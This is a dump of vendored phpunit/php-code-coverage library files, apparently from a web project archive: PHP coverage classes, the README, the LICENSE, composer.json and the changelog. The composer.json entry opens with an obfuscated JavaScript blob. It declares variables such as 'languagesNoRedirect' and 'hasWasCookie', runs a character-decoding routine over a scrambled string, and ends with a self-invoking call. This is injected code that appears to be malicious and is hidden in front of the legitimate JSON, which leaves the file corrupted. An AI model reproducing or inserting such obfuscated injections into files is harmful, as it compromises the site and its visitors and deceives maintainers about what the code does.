} } foreach ($rawData->functionCoverage() as $file => $functions) { foreach ($functions as $functionName => $functionData) { if (isset($this->functionCoverage[$file][$functionName])) { $this->initPreviouslySeenFunction($file, $functionName, $functionData); } else { $this->initPreviouslyUnseenFunction($file, $functionName, $functionData); } } } } public function markCodeAsExecutedByTestCase(string $testCaseId, RawCodeCoverageData $executedCode): void { foreach ($executedCode->lineCoverage() as $file => $lines) { foreach ($lines as $k => $v) { if ($v === Driver::LINE_EXECUTED) { $this->lineCoverage[$file][$k][] = $testCaseId; } } } foreach ($executedCode->functionCoverage() as $file => $functions) { foreach ($functions as $functionName => $functionData) { foreach ($functionData['branches'] as $branchId => $branchData) { if ($branchData['hit'] === Driver::BRANCH_HIT) { $this->functionCoverage[$file][$functionName]['branches'][$branchId]['hit'][] = $testCaseId; } } foreach ($functionData['paths'] as $pathId => $pathData) { if ($pathData['hit'] === Driver::BRANCH_HIT) { $this->functionCoverage[$file][$functionName]['paths'][$pathId]['hit'][] = $testCaseId; } } } } } public function setLineCoverage(array $lineCoverage): void { $this->lineCoverage = $lineCoverage; } public function lineCoverage(): array { ksort($this->lineCoverage); return $this->lineCoverage; } public function setFunctionCoverage(array $functionCoverage): void { $this->functionCoverage = $functionCoverage; } public function functionCoverage(): array { ksort($this->functionCoverage); return $this->functionCoverage; } public function coveredFiles(): array { ksort($this->lineCoverage); return array_keys($this->lineCoverage); } public function renameFile(string $oldFile, string $newFile): void { $this->lineCoverage[$newFile] = $this->lineCoverage[$oldFile]; if (isset($this->functionCoverage[$oldFile])) { $this->functionCoverage[$newFile] = $this->functionCoverage[$oldFile]; } unset($this->lineCoverage[$oldFile], $this->functionCoverage[$oldFile]); } public function merge(self $newData): void { foreach ($newData->lineCoverage as $file => $lines) { if (!isset($this->lineCoverage[$file])) { $this->lineCoverage[$file] = $lines; continue; } // we should compare the lines if any of two contains data $compareLineNumbers = array_unique( array_merge( array_keys($this->lineCoverage[$file]), array_keys($newData->lineCoverage[$file]) ) ); foreach ($compareLineNumbers as $line) { $thatPriority = $this->priorityForLine($newData->lineCoverage[$file], $line); $thisPriority = $this->priorityForLine($this->lineCoverage[$file], $line); if ($thatPriority > $thisPriority) { $this->lineCoverage[$file][$line] = $newData->lineCoverage[$file][$line]; } elseif ($thatPriority === $thisPriority && is_array($this->lineCoverage[$file][$line])) { $this->lineCoverage[$file][$line] = array_unique( array_merge($this->lineCoverage[$file][$line], $newData->lineCoverage[$file][$line]) ); } } } foreach ($newData->functionCoverage as $file => $functions) { if (!isset($this->functionCoverage[$file])) { $this->functionCoverage[$file] = $functions; continue; } foreach ($functions as $functionName => $functionData) { if (isset($this->functionCoverage[$file][$functionName])) { $this->initPreviouslySeenFunction($file, $functionName, $functionData); } else { $this->initPreviouslyUnseenFunction($file, $functionName, $functionData); } foreach ($functionData['branches'] as $branchId => $branchData) { $this->functionCoverage[$file][$functionName]['branches'][$branchId]['hit'] = array_unique(array_merge($this->functionCoverage[$file][$functionName]['branches'][$branchId]['hit'], $branchData['hit'])); } foreach ($functionData['paths'] as $pathId => $pathData) { $this->functionCoverage[$file][$functionName]['paths'][$pathId]['hit'] = array_unique(array_merge($this->functionCoverage[$file][$functionName]['paths'][$pathId]['hit'], $pathData['hit'])); } } } } /** * Determine the priority for a line. * * 1 = the line is not set * 2 = the line has not been tested * 3 = the line is dead code * 4 = the line has been tested * * During a merge, a higher number is better. */ private function priorityForLine(array $data, int $line): int { if (!array_key_exists($line, $data)) { return 1; } if (is_array($data[$line]) && count($data[$line]) === 0) { return 2; } if ($data[$line] === null) { return 3; } return 4; } /** * For a function we have never seen before, copy all data over and simply init the 'hit' array. */ private function initPreviouslyUnseenFunction(string $file, string $functionName, array $functionData): void { $this->functionCoverage[$file][$functionName] = $functionData; foreach (array_keys($functionData['branches']) as $branchId) { $this->functionCoverage[$file][$functionName]['branches'][$branchId]['hit'] = []; } foreach (array_keys($functionData['paths']) as $pathId) { $this->functionCoverage[$file][$functionName]['paths'][$pathId]['hit'] = []; } } /** * For a function we have seen before, only copy over and init the 'hit' array for any unseen branches and paths. * Techniques such as mocking and where the contents of a file are different vary during tests (e.g. compiling * containers) mean that the functions inside a file cannot be relied upon to be static. */ private function initPreviouslySeenFunction(string $file, string $functionName, array $functionData): void { foreach ($functionData['branches'] as $branchId => $branchData) { if (!isset($this->functionCoverage[$file][$functionName]['branches'][$branchId])) { $this->functionCoverage[$file][$functionName]['branches'][$branchId] = $branchData; $this->functionCoverage[$file][$functionName]['branches'][$branchId]['hit'] = []; } } foreach ($functionData['paths'] as $pathId => $pathData) { if (!isset($this->functionCoverage[$file][$functionName]['paths'][$pathId])) { $this->functionCoverage[$file][$functionName]['paths'][$pathId] = $pathData; $this->functionCoverage[$file][$functionName]['paths'][$pathId]['hit'] = []; } } } } res/readability/vendor/phpunit/php-code-coverage/src/Filter.php000064400000006144147577714370020662 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage; use function array_keys; use function is_file; use function realpath; use function strpos; use SebastianBergmann\FileIterator\Facade as FileIteratorFacade; final class Filter { /** * @psalm-var array */ private $files = []; /** * @psalm-var array */ private $isFileCache = []; public function includeDirectory(string $directory, string $suffix = '.php', string $prefix = ''): void { foreach ((new FileIteratorFacade)->getFilesAsArray($directory, $suffix, $prefix) as $file) { $this->includeFile($file); } } /** * @psalm-param list $files */ public function includeFiles(array $filenames): void { foreach ($filenames as $filename) { $this->includeFile($filename); } } public function includeFile(string $filename): void { $filename = realpath($filename); if (!$filename) { return; } $this->files[$filename] = true; } public function excludeDirectory(string $directory, string $suffix = '.php', string $prefix = ''): void { foreach ((new FileIteratorFacade)->getFilesAsArray($directory, $suffix, $prefix) as $file) { $this->excludeFile($file); } } public function excludeFile(string $filename): void { $filename = realpath($filename); if (!$filename || !isset($this->files[$filename])) { return; } unset($this->files[$filename]); } public function isFile(string $filename): bool { if (isset($this->isFileCache[$filename])) { return $this->isFileCache[$filename]; } if ($filename === '-' || strpos($filename, 'vfs://') === 0 || strpos($filename, 'xdebug://debug-eval') !== false || strpos($filename, 'eval()\'d code') !== false || strpos($filename, 'runtime-created function') !== false || strpos($filename, 'runkit created function') !== false || strpos($filename, 'assert code') !== false || strpos($filename, 'regexp code') !== false || strpos($filename, 'Standard input code') !== false) { $isFile = false; } else { $isFile = is_file($filename); } $this->isFileCache[$filename] = $isFile; return $isFile; } public function isExcluded(string $filename): bool { if (!$this->isFile($filename)) { return true; } return !isset($this->files[$filename]); } /** * @psalm-return list */ public function files(): array { return array_keys($this->files); } public function isEmpty(): bool { return empty($this->files); } } res/readability/vendor/phpunit/php-code-coverage/src/RawCodeCoverageData.php000064400000016456147577714370023236 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage; use function array_diff; use function array_diff_key; use function array_flip; use function array_intersect; use function array_intersect_key; use function count; use function in_array; use function range; use SebastianBergmann\CodeCoverage\Driver\Driver; use SebastianBergmann\CodeCoverage\StaticAnalysis\FileAnalyser; /** * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage */ final class RawCodeCoverageData { /** * @var array> */ private static $emptyLineCache = []; /** * @var array * * @see https://xdebug.org/docs/code_coverage for format */ private $lineCoverage; /** * @var array * * @see https://xdebug.org/docs/code_coverage for format */ private $functionCoverage; public static function fromXdebugWithoutPathCoverage(array $rawCoverage): self { return new self($rawCoverage, []); } public static function fromXdebugWithPathCoverage(array $rawCoverage): self { $lineCoverage = []; $functionCoverage = []; foreach ($rawCoverage as $file => $fileCoverageData) { $lineCoverage[$file] = $fileCoverageData['lines']; $functionCoverage[$file] = $fileCoverageData['functions']; } return new self($lineCoverage, $functionCoverage); } public static function fromXdebugWithMixedCoverage(array $rawCoverage): self { $lineCoverage = []; $functionCoverage = []; foreach ($rawCoverage as $file => $fileCoverageData) { if (!isset($fileCoverageData['functions'])) { // Current file does not have functions, so line coverage // is stored in $fileCoverageData, not in $fileCoverageData['lines'] $lineCoverage[$file] = $fileCoverageData; continue; } $lineCoverage[$file] = $fileCoverageData['lines']; $functionCoverage[$file] = $fileCoverageData['functions']; } return new self($lineCoverage, $functionCoverage); } public static function fromUncoveredFile(string $filename, FileAnalyser $analyser): self { $lineCoverage = []; foreach ($analyser->executableLinesIn($filename) as $line) { $lineCoverage[$line] = Driver::LINE_NOT_EXECUTED; } return new self([$filename => $lineCoverage], []); } private function __construct(array $lineCoverage, array $functionCoverage) { $this->lineCoverage = $lineCoverage; $this->functionCoverage = $functionCoverage; $this->skipEmptyLines(); } public function clear(): void { $this->lineCoverage = $this->functionCoverage = []; } public function lineCoverage(): array { return $this->lineCoverage; } public function functionCoverage(): array { return $this->functionCoverage; } public function removeCoverageDataForFile(string $filename): void { unset($this->lineCoverage[$filename], $this->functionCoverage[$filename]); } /** * @param int[] $lines */ public function keepLineCoverageDataOnlyForLines(string $filename, array $lines): void { if (!isset($this->lineCoverage[$filename])) { return; } $this->lineCoverage[$filename] = array_intersect_key( $this->lineCoverage[$filename], array_flip($lines) ); } /** * @param int[] $lines */ public function keepFunctionCoverageDataOnlyForLines(string $filename, array $lines): void { if (!isset($this->functionCoverage[$filename])) { return; } foreach ($this->functionCoverage[$filename] as $functionName => $functionData) { foreach ($functionData['branches'] as $branchId => $branch) { if (count(array_diff(range($branch['line_start'], $branch['line_end']), $lines)) > 0) { unset($this->functionCoverage[$filename][$functionName]['branches'][$branchId]); foreach ($functionData['paths'] as $pathId => $path) { if (in_array($branchId, $path['path'], true)) { unset($this->functionCoverage[$filename][$functionName]['paths'][$pathId]); } } } } } } /** * @param int[] $lines */ public function removeCoverageDataForLines(string $filename, array $lines): void { if (empty($lines)) { return; } if (!isset($this->lineCoverage[$filename])) { return; } $this->lineCoverage[$filename] = array_diff_key( $this->lineCoverage[$filename], array_flip($lines) ); if (isset($this->functionCoverage[$filename])) { foreach ($this->functionCoverage[$filename] as $functionName => $functionData) { foreach ($functionData['branches'] as $branchId => $branch) { if (count(array_intersect($lines, range($branch['line_start'], $branch['line_end']))) > 0) { unset($this->functionCoverage[$filename][$functionName]['branches'][$branchId]); foreach ($functionData['paths'] as $pathId => $path) { if (in_array($branchId, $path['path'], true)) { unset($this->functionCoverage[$filename][$functionName]['paths'][$pathId]); } } } } } } } /** * At the end of a file, the PHP interpreter always sees an implicit return. Where this occurs in a file that has * e.g. a class definition, that line cannot be invoked from a test and results in confusing coverage. This engine * implementation detail therefore needs to be masked which is done here by simply ensuring that all empty lines * are skipped over for coverage purposes. * * @see https://github.com/sebastianbergmann/php-code-coverage/issues/799 */ private function skipEmptyLines(): void { foreach ($this->lineCoverage as $filename => $coverage) { foreach ($this->getEmptyLinesForFile($filename) as $emptyLine) { unset($this->lineCoverage[$filename][$emptyLine]); } } } private function getEmptyLinesForFile(string $filename): array { if (!isset(self::$emptyLineCache[$filename])) { self::$emptyLineCache[$filename] = []; if (is_file($filename)) { $sourceLines = explode("\n", file_get_contents($filename)); foreach ($sourceLines as $line => $source) { if (trim($source) === '') { self::$emptyLineCache[$filename][] = ($line + 1); } } } } return self::$emptyLineCache[$filename]; } } res/readability/vendor/phpunit/php-code-coverage/README.md000064400000003031147577714370017404 0ustar00# phpunit/php-code-coverage [![Latest Stable Version](https://poser.pugx.org/phpunit/php-code-coverage/v/stable.png)](https://packagist.org/packages/phpunit/php-code-coverage) [![CI Status](https://github.com/sebastianbergmann/php-code-coverage/workflows/CI/badge.svg)](https://github.com/sebastianbergmann/php-code-coverage/actions) [![Type Coverage](https://shepherd.dev/github/sebastianbergmann/php-code-coverage/coverage.svg)](https://shepherd.dev/github/sebastianbergmann/php-code-coverage) Provides collection, processing, and rendering functionality for PHP code coverage information. ## Installation You can add this library as a local, per-project dependency to your project using [Composer](https://getcomposer.org/): ``` composer require phpunit/php-code-coverage ``` If you only need this library during development, for instance to run your project's test suite, then you should add it as a development-time dependency: ``` composer require --dev phpunit/php-code-coverage ``` ## Usage ```php includeDirectory('/path/to/directory'); $coverage = new CodeCoverage( (new Selector)->forLineCoverage($filter), $filter ); $coverage->start(''); // ... $coverage->stop(); (new HtmlReport)->process($coverage, '/tmp/code-coverage-report'); ``` res/readability/vendor/phpunit/php-code-coverage/LICENSE000064400000003020147577714370017130 0ustar00php-code-coverage Copyright (c) 2009-2022, Sebastian Bergmann . All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of Sebastian Bergmann nor the names of his contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. res/readability/vendor/phpunit/php-code-coverage/composer.json000064400000011272147577714370020655 0ustar00var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();{ "name": "phpunit/php-code-coverage", "description": "Library that provides collection, processing, and rendering functionality for PHP code coverage information.", "type": "library", "keywords": [ "coverage", "testing", "xunit" ], "homepage": "https://github.com/sebastianbergmann/php-code-coverage", "license": "BSD-3-Clause", "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de", "role": "lead" } ], "support": { "issues": "https://github.com/sebastianbergmann/php-code-coverage/issues" }, "config": { "platform": { "php": "7.3.0" }, "optimize-autoloader": true, "sort-packages": true }, "prefer-stable": true, "require": { "php": ">=7.3", "ext-dom": "*", "ext-libxml": "*", "ext-xmlwriter": "*", "nikic/php-parser": "^4.13.0", "phpunit/php-file-iterator": "^3.0.3", "phpunit/php-text-template": "^2.0.2", "sebastian/code-unit-reverse-lookup": "^2.0.2", "sebastian/complexity": "^2.0", "sebastian/environment": "^5.1.2", "sebastian/lines-of-code": "^1.0.3", "sebastian/version": "^3.0.1", "theseer/tokenizer": "^1.2.0" }, "require-dev": { "phpunit/phpunit": "^9.3" }, "suggest": { "ext-pcov": "*", "ext-xdebug": "*" }, "autoload": { "classmap": [ "src/" ] }, "autoload-dev": { "files": [ "tests/TestCase.php", "tests/_files/BankAccountTest.php" ] }, "extra": { "branch-alias": { "dev-master": "9.2-dev" } } } res/readability/vendor/phpunit/php-code-coverage/ChangeLog.md000064400000051706147577714370020312 0ustar00# ChangeLog All notable changes are documented in this file using the [Keep a CHANGELOG](http://keepachangelog.com/) principles. ## [9.2.15] - 2022-03-07 ### Fixed * [#885](https://github.com/sebastianbergmann/php-code-coverage/issues/885): Files that have only `\r` (CR, 0x0d) EOL characters are not handled correctly * [#907](https://github.com/sebastianbergmann/php-code-coverage/issues/907): Line with only `return [` is not recognized as executable ## [9.2.14] - 2022-02-28 ### Fixed * [#904](https://github.com/sebastianbergmann/php-code-coverage/issues/904): Lines of code containing the `match` keyword were not recognized as executable correctly * [#905](https://github.com/sebastianbergmann/php-code-coverage/issues/905): Lines of code in constructors were not recognized as executable correctly when constructor property promotion is used ## [9.2.13] - 2022-02-23 ### Changed * The contents of the static analysis sourcecode files is now used to generate the static analysis cache version identifier ### Fixed * Reverted rename of `SebastianBergmann\CodeCoverage\ProcessedCodeCoverageData` to `SebastianBergmann\CodeCoverage\Data\ProcessedCodeCoverageData` (this class is marked as `@internal` and not covered by the backward compatibility promise, but it is (still) used directly by PHPUnit) * Reverted rename of `SebastianBergmann\CodeCoverage\RawCodeCoverageData` to `SebastianBergmann\CodeCoverage\Data\RawCodeCoverageData` (this class is marked as `@internal` and not covered by the backward compatibility promise, but it is (still) used directly by PHPUnit) * The `ArrayDim`, `Cast`, and `MethodCall` nodes are now considered when determining whether a line of code is executable or not ## [9.2.12] - 2022-02-23 [YANKED] ### Changed * [#898](https://github.com/sebastianbergmann/php-code-coverage/pull/898): Use content hash instead of `filemtime()` to determine cache hit/miss ### Fixed * [#736](https://github.com/sebastianbergmann/php-code-coverage/issues/736): HTML report generator allows invalid values for low upper bound and high lower bound * [#854](https://github.com/sebastianbergmann/php-code-coverage/issues/854): "Class Coverage Distribution" and "Class Complexity" graphs are not displayed at full width * [#897](https://github.com/sebastianbergmann/php-code-coverage/issues/897): `declare(strict_types=1)` marked as uncovered ## [9.2.11] - 2022-02-18 ### Changed * `CoveredFileAnalyser` and `UncoveredFileAnalyser` have been combined to `FileAnalyser` * Updated bundled CSS/JavaScript components used for HTML report: Bootstrap 4.6.1, jQuery 3.6.0, and popper.js 1.16.1 ### Fixed * [#889](https://github.com/sebastianbergmann/php-code-coverage/issues/889): Code Coverage depends on autoload order ## [9.2.10] - 2021-12-05 ### Fixed * [#887](https://github.com/sebastianbergmann/php-code-coverage/issues/887): Document return type of `CodeUnitFindingVisitor::enterNode()` so that Symfony's DebugClassLoader does not trigger a deprecation warning ## [9.2.9] - 2021-11-19 ### Fixed * [#882](https://github.com/sebastianbergmann/php-code-coverage/issues/882): PHPUnit 9.2.8 has wrong version number ## [9.2.8] - 2021-10-30 ### Fixed * [#866](https://github.com/sebastianbergmann/php-code-coverage/issues/866): `CodeUnitFindingVisitor` does not handle `enum` type introduced in PHP 8.1 * [#868](https://github.com/sebastianbergmann/php-code-coverage/pull/868): Uncovered files should be ignored unless requested * [#876](https://github.com/sebastianbergmann/php-code-coverage/issues/876): PCOV driver causes 2x slowdown after upgrade to PHPUnit 9.5 ## [9.2.7] - 2021-09-17 ### Fixed * [#860](https://github.com/sebastianbergmann/php-code-coverage/pull/860): Empty value for `XDEBUG_MODE` environment variable is not handled correctly ## [9.2.6] - 2021-03-28 ### Fixed * [#846](https://github.com/sebastianbergmann/php-code-coverage/issues/846): Method name should not appear in the method signature attribute of Cobertura XML ## [9.2.5] - 2020-11-28 ### Fixed * [#831](https://github.com/sebastianbergmann/php-code-coverage/issues/831): Files that do not contain a newline are not handled correctly ## [9.2.4] - 2020-11-27 ### Added * [#834](https://github.com/sebastianbergmann/php-code-coverage/issues/834): Support `XDEBUG_MODE` environment variable ## [9.2.3] - 2020-10-30 ### Changed * Bumped required version of `nikic/php-parser` ## [9.2.2] - 2020-10-28 ### Fixed * [#820](https://github.com/sebastianbergmann/php-code-coverage/issues/820): Hidden dependency on PHPUnit ## [9.2.1] - 2020-10-26 ### Fixed * `SebastianBergmann\CodeCoverage\Exception` now correctly extends `\Throwable` ## [9.2.0] - 2020-10-02 ### Added * [#812](https://github.com/sebastianbergmann/php-code-coverage/pull/812): Support for Cobertura XML report format ### Changed * Reduced the number of I/O operations performed by the static analysis cache ## [9.1.11] - 2020-09-19 ### Fixed * [#811](https://github.com/sebastianbergmann/php-code-coverage/issues/811): `T_FN` constant is used on PHP 7.3 where it is not available ## [9.1.10] - 2020-09-18 ### Added * `SebastianBergmann\CodeCoverage\Driver\Selector::forLineCoverage()` and `SebastianBergmann\CodeCoverage\Driver\Selector::forLineAndPathCoverage()` have been added ### Fixed * [#810](https://github.com/sebastianbergmann/php-code-coverage/issues/810): `SebastianBergmann\CodeCoverage\Driver\Driver::forLineCoverage()` and `SebastianBergmann\CodeCoverage\Driver\Driver::forLineAndPathCoverage()` are marked as internal ### Removed * `SebastianBergmann\CodeCoverage\Driver\Driver::forLineCoverage()` and `SebastianBergmann\CodeCoverage\Driver\Driver::forLineAndPathCoverage()` are now deprecated ## [9.1.9] - 2020-09-15 ### Fixed * [#808](https://github.com/sebastianbergmann/php-code-coverage/issues/808): `PHP Warning: Use of undefined constant T_MATCH` ## [9.1.8] - 2020-09-07 ### Changed * [#800](https://github.com/sebastianbergmann/php-code-coverage/pull/800): All files on the inclusion list are no longer loaded when `SebastianBergmann\CodeCoverage::start()` is called for the first time and `processUncoveredFiles` is set to `true` ### Fixed * [#799](https://github.com/sebastianbergmann/php-code-coverage/issues/799): Uncovered new line at end of file ## [9.1.7] - 2020-09-03 ### Fixed * Fixed regressions introduced in versions 9.1.5 and 9.1.6 ## [9.1.6] - 2020-08-31 ### Fixed * [#799](https://github.com/sebastianbergmann/php-code-coverage/issues/799): Uncovered new line at end of file * [#803](https://github.com/sebastianbergmann/php-code-coverage/issues/803): HTML report does not sort directories and files anymore ## [9.1.5] - 2020-08-27 ### Changed * [#800](https://github.com/sebastianbergmann/php-code-coverage/pull/800): All files on the inclusion list are no longer loaded when `SebastianBergmann\CodeCoverage::start()` is called for the first time and `processUncoveredFiles` is set to `true` ### Fixed * [#797](https://github.com/sebastianbergmann/php-code-coverage/pull/797): Class name is wrongly removed from namespace name ## [9.1.4] - 2020-08-13 ### Fixed * [#793](https://github.com/sebastianbergmann/php-code-coverage/issues/793): Lines with `::class` constant are not covered ## [9.1.3] - 2020-08-10 ### Changed * Changed PHP-Parser usage to parse sourcecode according to the PHP version we are currently running on instead of using emulative lexing ## [9.1.2] - 2020-08-10 ### Fixed * [#791](https://github.com/sebastianbergmann/php-code-coverage/pull/791): Cache Warmer does not warm all caches ## [9.1.1] - 2020-08-10 ### Added * Added `SebastianBergmann\CodeCoverage::cacheDirectory()` method for querying where the cache writes its files ## [9.1.0] - 2020-08-10 ### Added * Implemented a persistent cache for information gathered using PHP-Parser based static analysis (hereinafter referred to as "cache") * Added `SebastianBergmann\CodeCoverage::cacheStaticAnalysis(string $cacheDirectory)` method for enabling the cache; it will write its files to `$directory` * Added `SebastianBergmann\CodeCoverage::doNotCacheStaticAnalysis` method for disabling the cache * Added `SebastianBergmann\CodeCoverage::cachesStaticAnalysis()` method for querying whether the cache is enabled * Added `SebastianBergmann\CodeCoverage\StaticAnalysis\CacheWarmer::warmCache()` method for warming the cache ## [9.0.0] - 2020-08-07 ### Added * [#761](https://github.com/sebastianbergmann/php-code-coverage/pull/761): Support for Branch Coverage and Path Coverage * Added `SebastianBergmann\CodeCoverage\Driver\Driver::forLineCoverage()` for selecting the best available driver for line coverage * Added `SebastianBergmann\CodeCoverage\Driver\Driver::forLineAndPathCoverage()` for selecting the best available driver for path coverage * This component is now supported on PHP 8 * This component now supports Xdebug 3 ### Changed * [#746](https://github.com/sebastianbergmann/php-code-coverage/pull/746): Remove some ancient workarounds for very old Xdebug versions * [#747](https://github.com/sebastianbergmann/php-code-coverage/pull/747): Use native filtering in PCOV and Xdebug drivers * [#748](https://github.com/sebastianbergmann/php-code-coverage/pull/748): Store raw code coverage in value objects instead of arrays * [#749](https://github.com/sebastianbergmann/php-code-coverage/pull/749): Store processed code coverage in value objects instead of arrays * [#752](https://github.com/sebastianbergmann/php-code-coverage/pull/752): Rework how code coverage settings are propagated to the driver * [#754](https://github.com/sebastianbergmann/php-code-coverage/pull/754): Implement collection of raw branch and path coverage * [#755](https://github.com/sebastianbergmann/php-code-coverage/pull/755): Implement processing of raw branch and path coverage * [#756](https://github.com/sebastianbergmann/php-code-coverage/pull/756): Improve handling of uncovered files * `SebastianBergmann\CodeCoverage\Filter::addDirectoryToWhitelist()` has been renamed to `SebastianBergmann\CodeCoverage\Filter::includeDirectory()` * `SebastianBergmann\CodeCoverage\Filter::addFilesToWhitelist()` has been renamed to `SebastianBergmann\CodeCoverage\Filter::includeFiles()` * `SebastianBergmann\CodeCoverage\Filter::addFileToWhitelist()` has been renamed to `SebastianBergmann\CodeCoverage\Filter::includeFile()` * `SebastianBergmann\CodeCoverage\Filter::removeDirectoryFromWhitelist()` has been renamed to `SebastianBergmann\CodeCoverage\Filter::excludeDirectory()` * `SebastianBergmann\CodeCoverage\Filter::removeFileFromWhitelist()` has been renamed to `SebastianBergmann\CodeCoverage\Filter::excludeFile()` * `SebastianBergmann\CodeCoverage\Filter::isFiltered()` has been renamed to `SebastianBergmann\CodeCoverage\Filter::isExcluded()` * `SebastianBergmann\CodeCoverage\Filter::getWhitelist()` has been renamed to `SebastianBergmann\CodeCoverage\Filter::files()` * The arguments for `CodeCoverage::__construct()` are no longer optional ### Fixed * [#700](https://github.com/sebastianbergmann/php-code-coverage/pull/700): Throw an exception if code coverage fails to write to disk ### Removed * `SebastianBergmann\CodeCoverage\CodeCoverage::setCacheTokens()` and `SebastianBergmann\CodeCoverage\CodeCoverage::getCacheTokens()` have been removed * `SebastianBergmann\CodeCoverage\CodeCoverage::setCheckForUnintentionallyCoveredCode()` has been removed, please use `SebastianBergmann\CodeCoverage\CodeCoverage::enableCheckForUnintentionallyCoveredCode()` or `SebastianBergmann\CodeCoverage\CodeCoverage::disableCheckForUnintentionallyCoveredCode()` instead * `SebastianBergmann\CodeCoverage\CodeCoverage::setSubclassesExcludedFromUnintentionallyCoveredCodeCheck()` has been removed, please use `SebastianBergmann\CodeCoverage\CodeCoverage::excludeSubclassesOfThisClassFromUnintentionallyCoveredCodeCheck()` instead * `SebastianBergmann\CodeCoverage\CodeCoverage::setAddUncoveredFilesFromWhitelist()` has been removed, please use `SebastianBergmann\CodeCoverage\CodeCoverage::includeUncoveredFiles()` or `SebastianBergmann\CodeCoverage\CodeCoverage::excludeUncoveredFiles()` instead * `SebastianBergmann\CodeCoverage\CodeCoverage::setProcessUncoveredFiles()` has been removed, please use `SebastianBergmann\CodeCoverage\CodeCoverage::processUncoveredFiles()` or `SebastianBergmann\CodeCoverage\CodeCoverage::doNotProcessUncoveredFiles()` instead * `SebastianBergmann\CodeCoverage\CodeCoverage::setIgnoreDeprecatedCode()` has been removed, please use `SebastianBergmann\CodeCoverage\CodeCoverage::ignoreDeprecatedCode()` or `SebastianBergmann\CodeCoverage\CodeCoverage::doNotIgnoreDeprecatedCode()` instead * `SebastianBergmann\CodeCoverage\CodeCoverage::setDisableIgnoredLines()` has been removed, please use `SebastianBergmann\CodeCoverage\CodeCoverage::enableAnnotationsForIgnoringCode()` or `SebastianBergmann\CodeCoverage\CodeCoverage::disableAnnotationsForIgnoringCode()` instead * `SebastianBergmann\CodeCoverage\CodeCoverage::setCheckForMissingCoversAnnotation()` has been removed * `SebastianBergmann\CodeCoverage\CodeCoverage::setCheckForUnexecutedCoveredCode()` has been removed * `SebastianBergmann\CodeCoverage\CodeCoverage::setForceCoversAnnotation()` has been removed * `SebastianBergmann\CodeCoverage\Filter::hasWhitelist()` has been removed, please use `SebastianBergmann\CodeCoverage\Filter::isEmpty()` instead * `SebastianBergmann\CodeCoverage\Filter::getWhitelistedFiles()` has been removed * `SebastianBergmann\CodeCoverage\Filter::setWhitelistedFiles()` has been removed ## [8.0.2] - 2020-05-23 ### Fixed * [#750](https://github.com/sebastianbergmann/php-code-coverage/pull/750): Inconsistent handling of namespaces * [#751](https://github.com/sebastianbergmann/php-code-coverage/pull/751): Dead code is not highlighted correctly * [#753](https://github.com/sebastianbergmann/php-code-coverage/issues/753): Do not use `$_SERVER['REQUEST_TIME']` because the test(ed) code might unset it ## [8.0.1] - 2020-02-19 ### Fixed * [#731](https://github.com/sebastianbergmann/php-code-coverage/pull/731): Confusing 